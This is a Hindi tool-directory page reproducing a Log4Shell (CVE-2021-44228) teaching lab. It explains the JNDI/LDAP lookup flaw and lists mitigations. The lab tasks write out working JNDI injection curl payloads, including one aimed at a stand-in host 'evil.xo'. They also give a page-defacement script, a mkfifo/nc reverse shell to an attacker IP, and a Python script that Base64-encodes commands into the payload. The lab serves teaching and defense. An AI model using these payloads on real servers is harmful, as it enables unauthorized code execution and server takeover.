Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Log4Shell-CVE-2021-44228-Demo — Log4Shell CVE-2021-44228 डेमो | Kitploit
उपकरण/GitHubGitHub/ra890927/log4shell-cve-2021-44228-demo
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोललर्निंग और शिक्षारिमोट एक्सेस टूललैब और अभ्यास

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
GitHub
ra890927/log4shell-cve-2021-44228-demo

Log4Shell-CVE-2021-44228-Demo

Log4Shell CVE-2021-44228 डेमो

रिपॉजिटरी देखें
34 साल पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2021–44228 डेमो

1. CVE-2021–44228 परिचय

2021 के अंत में साइबर सुरक्षा जगत की सबसे बड़ी खबर Log4j में खामी थी, जिसे CVE-2021-44228 के रूप में कोडित किया गया, जिसे Log4Shell भी कहा जाता है। CVSS भेद्यता रेटिंग प्रणाली में इसे सबसे गंभीर स्तर 10 का दर्जा दिया गया, और इसे हाल के वर्षों में Heartbleed और ShellShock के बाद सबसे महत्वपूर्ण भेद्यता माना जाता है। कुछ लोगों ने इसे 'परमाणु बम स्तर की भेद्यता' भी कहा, जो इसके प्रभाव की गहराई को दर्शाता है। यह विशेष अध्ययन CVE-2021-44228 का विश्लेषण करता है और लैब अभ्यास के साथ आता है।

2. Log4j के बारे में

Logfile (रिकॉर्ड फ़ाइल) एक फ़ाइल है जो चल रहे ऑपरेटिंग सिस्टम या सॉफ़्टवेयर में होने वाली घटनाओं को रिकॉर्ड करती है, या नेटवर्क चैट सॉफ़्टवेयर में उपयोगकर्ताओं के बीच भेजे गए संदेशों को रिकॉर्ड करती है। कई ऑपरेटिंग सिस्टम, सॉफ़्टवेयर फ्रेमवर्क और प्रोग्राम में लॉगिंग सिस्टम शामिल होते हैं। Java में एक बहुत उपयोगी लॉग पैकेज है जिसे Log4j कहा जाता है। यह पैकेज Apache सॉफ़्टवेयर फाउंडेशन के अंतर्गत आता है, इसलिए इसका पूरा नाम Apache Log4j है।

Log4j एक बहुत ही उपयोगी उपकरण है, जिसका व्यापक रूप से Java प्रोग्राम में उपयोग किया जाता है। कई बार सॉफ़्टवेयर इंजीनियरों को चल रहे प्रोग्राम का डेटा लॉग फ़ाइलों या बाद में उपयोग के लिए अन्य डेटाबेस में लिखने की आवश्यकता होती है। Log4j का उपयोग यही है - यह एक स्थान से एक स्ट्रिंग स्वीकार करता है (जैसे लॉगिन स्क्रीन पर दर्ज उपयोगकर्ता ID), और फिर उस स्ट्रिंग को किसी अन्य स्थान पर लिखता है (जैसे प्रमाणीकरण प्रक्रिया का डेटा इनपुट फ़ील्ड)। मूल कॉपी/पेस्ट के अलावा, Log4j स्ट्रिंग की सामग्री को देख और व्याख्या कर सकता है। और व्याख्या करना एक खतरनाक क्रिया है, क्योंकि जब तक प्रोग्राम स्ट्रिंग को पहले साफ़ नहीं करता, व्याख्या करने पर समस्याएँ उत्पन्न हो सकती हैं। Log4j स्ट्रिंग को पहले साफ़ किए बिना ही व्याख्या करता है, इसलिए हमलावरों को इंजेक्शन हमला (injection) करने का अवसर मिलता है।

3 CVE-2021–44228

CVE-2021-44228 एक गंभीर भेद्यता है क्योंकि यह एक Java सर्वर को बिना प्रमाणीकरण के एक हमलावर द्वारा RCE (Remote Code Execution, दूरस्थ कोड निष्पादन) करने की अनुमति देता है। यह भेद्यता log4j द्वारा लॉग संदेशों को संसाधित करने के तरीके से उत्पन्न होती है। यदि कोई हमलावर एक संसाधित संदेश भेजता है (जिसमें ${jndi:ldap://rogueldapserver.com/a} जैसी स्ट्रिंग शामिल है), तो इससे बाहरी कोड क्लास या मैसेज लुकअप लोड हो सकता है और उस प्रोग्राम का निष्पादन हो सकता है, जिससे RCE होता है।

RCE का मूल प्रवाह निम्नलिखित है।

  1. हमलावर संवेदनशील सर्वर (Vulnerable Server) पर इंजेक्शन हमले के साथ अनुरोध भेजता है। उदाहरण: http अनुरोध भेजता है
    root@kitploit:~
    $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
    
  2. भेजी गई स्ट्रिंग log4j को लॉगिंग रिकॉर्ड के लिए भेजी जाती है। साथ ही, Log4j को ${jndi:ldap://evil.xo/x} प्राप्त होता है।
  3. Log4j स्ट्रिंग की सामग्री को देखता और व्याख्या करता है, फिर JNDI (Java नामकरण और निर्देशिका इंटरफ़ेस) LDAP सर्वर से पूछता है। LDAP एक नेटवर्क प्रोटोकॉल है जो IP प्रोटोकॉल के माध्यम से एक्सेस नियंत्रण और वितरित जानकारी के रखरखाव के लिए निर्देशिका प्रदान करता है।
  4. LDAP सर्वर एक दुर्भावनापूर्ण सर्वर है, JNDI क्वेरी प्राप्त करने के बाद यह इंजेक्ट की गई सामग्री को पार्स करता है, फिर JNDI को आवश्यक निर्देशिका के साथ उत्तर देता है, जिसमें दुर्भावनापूर्ण Java क्लास या निर्देश शामिल होते हैं।
  5. संवेदनशील सर्वर JNDI से प्राप्त उत्तर को निष्पादित करता है, हमलावर का इंजेक्शन सफल होता है।

Log4j भेद्यता का बचाव कैसे करें

  1. नवीनतम संस्करण के Log4j का उपयोग करके प्रोग्राम पैकेज को पुनः बनाएं (वर्तमान संस्करण 2.17.xx है), साथ ही Apache Foundation वेबसाइट पर नवीनतम पैच जानकारी देखें।
  2. WAF (वेब एप्लिकेशन फ़ायरवॉल) स्थापित करें और आक्रमण नियम परिभाषित करें, log4j के इनपुट स्ट्रिंग को फ़िल्टर करें, लेकिन यह एक अस्थायी उपाय है, हमलावर स्ट्रिंग को छिपा सकते हैं, जैसे base64 एन्क्रिप्शन का उपयोग करके टेक्स्ट स्कैनिंग से बच सकते हैं।
  3. लॉग फ़ंक्शन को अस्थायी रूप से अक्षम करें, जब तक कि सुधार न हो जाए या
  4. कोड अपडेट न हो जाए। आपको Log4j के सभी कॉल को टिप्पणी के रूप में चिह्नित करना पड़ सकता है, जिससे एप्लिकेशन कुछ कार्यक्षमता खो सकता है, जैसे: किसी उपयोगकर्ता का संदेश दूसरे उपयोगकर्ता को अग्रेषित नहीं कर पाना। वैसे, यही कारण है कि इस भेद्यता की खोज हुई: Minecraft खिलाड़ियों ने पाया कि यदि वे चैट बॉक्स में Log4j कमांड पेस्ट करते हैं, तो उन संदेशों को संदेश के रूप में भेजने के बजाय सीधे कमांड के रूप में निष्पादित किया जाता है।

लैब वातावरण

1. पर्यावरण सेटअप

कृपया पहले SEED Ubuntu 20.04 VM डाउनलोड करें, यह VM पूर्व-स्थापित Docker वातावरण प्रदान करता है। डाउनलोड

JNDIExploit डाउनलोड करें

root@kitploit:~
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

कंटेनर सेटअप

root@kitploit:~
$ docker-compose build  # Build the container image
$ docker-compose up     # Start the container
$ docker-compose down   # Shut down the container

# Aliases for the Compose commands above
$ dcbuild   # Alias for: docker-compose build
$ dcup      # Alias for: docker-compose up
$ dcdown    # Alias for: docker-compose down

कंटेनर कमांड

root@kitploit:~
$ dockps        # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # Alias for: docker exec -it <id> /bin/bash

# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

चरणों को सरल बनाने के लिए, सभी सर्वर एक ही LAN के अंतर्गत हैं।

लैब कार्य

कार्य 1: Log4j का उपयोग करना

इस कार्य में उपयोगकर्ता यह समझ सकता है कि log4j कैसे काम करता है। उपयोगकर्ता X-Api-Version हेडर का उपयोग करके log4j के साथ लॉग रिकॉर्ड कर सकता है।

root@kitploit:~
# <> उपयोगकर्ता द्वारा संशोधित करने का भाग
$ curl <server:ip> -H 'X-Api-Version: <version-number>'

यदि सर्वर आपके द्वारा भेजे गए अनुरोध को सही ढंग से पार्स करता है, तो वह Hello World! लौटाएगा। कृपया रिपोर्ट में सर्वर द्वारा लौटाए गए परिणाम और यह दर्ज करें कि सर्वर ने अनुरोध को सही ढंग से पार्स किया और लॉग रिकॉर्ड किया या नहीं।

कार्य 2: Log4Shell लॉन्च करना

वर्ष 2013 में, Log4j पैकेज में 'JNDILookup प्लगइन' जोड़ा गया, जो डेवलपर्स को JNDI को LDAP के साथ संयोजित करके बाहरी JNDITutorial से Java डेटा ऑब्जेक्ट प्राप्त करने की अनुमति देता है।

अब हम अभी उपयोग किए गए log4j को JNDIExploit के साथ संयोजित करेंगे ताकि सर्वर वह कमांड निष्पादित करे जो हम चाहते हैं।

root@kitploit:~
# <> उपयोगकर्ता द्वारा संशोधित करने का भाग
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'

कृपया /tmp फ़ोल्डर में एक secret.txt फ़ाइल बनाएँ, और सर्वर के अंदर जाकर पुष्टि करें कि फ़ाइल सफलतापूर्वक बनाई गई है या नहीं।


नोट-1: <content> में सीधे कमांड नहीं रखा जा सकता, इसे परिवर्तित करने की आवश्यकता है
नोट-2: क्योंकि vulnerable-app में /bin/bash शेल उपलब्ध नहीं है, यदि फ़ाइल की पुष्टि करनी है तो Docker कमांड का उपयोग कर सकते हैं

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

JNDIExploit का विस्तृत उपयोग

कार्य 3: सर्वर फ़ाइल को संशोधित करना

पिछले कार्य के बाद, हमने पाया कि vulnerable-app हमलावर के किसी भी base64 कमांड को निष्पादित करता है। यदि हमलावर अधिक जटिल ऑपरेशन करना चाहता है, तो वह सर्वर को निष्पादित करने के लिए shell script हमला स्क्रिप्ट भेज सकता है।

root@kitploit:~
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html

ऊपर एक स्क्रिप्ट है जो वेबसाइट के स्कोर को संशोधित करती है; स्कोर index.html में संग्रहीत है। कृपया पहले इसे सफलतापूर्वक निष्पादित करें और अंतर बताएं। फिर इस स्क्रिप्ट को संशोधित करें ताकि स्कोर फ़ाइल आपकी इच्छित संख्या में बदल जाए।


नोट-1: फ़ाइल को संशोधित करने का एक सुविधाजनक तरीका sed भी है
नोट-2: क्योंकि vulnerable-app उपयोगकर्ता को ब्राउज़र के माध्यम से /var/www देखने की अनुमति नहीं देता, यदि फ़ाइल की पुष्टि करनी है तो Docker कमांड का उपयोग करें

root@kitploit:~
$ docker exec vulnerable-app cat /var/www/index.html

कार्य 4: Log4Shell का उपयोग करके रिवर्स शेल बनाना

पिछले कार्य के बाद हम अपने इच्छित कमांड को base64 में बदलकर सर्वर को निष्पादित करा सकते हैं। सर्वर पर पूर्ण नियंत्रण प्राप्त करने के लिए, एक रिवर्स शेल बनाने के लिए कमांड का उपयोग कर सकते हैं।

root@kitploit:~
# <> उपयोगकर्ता द्वारा संशोधित करने का भाग
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>

सुविधा के लिए, हम एक Python स्क्रिप्ट प्रदान कर रहे हैं जिससे आप हमला कर सकते हैं।

root@kitploit:~
import os
import sys
import base64
import requests
                    
ldap = '###'        # user modify
server_ip = '###'   # user modify

cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
root@kitploit:~
$ ./script '<command>'

नोट: vulnerable-app में /bin/bash और /dev/tcp नहीं है, इसलिए सामान्य रिवर्स शेल विधि का उपयोग नहीं किया जा सकता, लेकिन हम एक पाइप फ़ाइल बना सकते हैं और उस पर पढ़/लिख सकते हैं।

root@kitploit:~
$ mkfifo <file-name>

संदर्भ

https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641

टूल डाउनलोड करें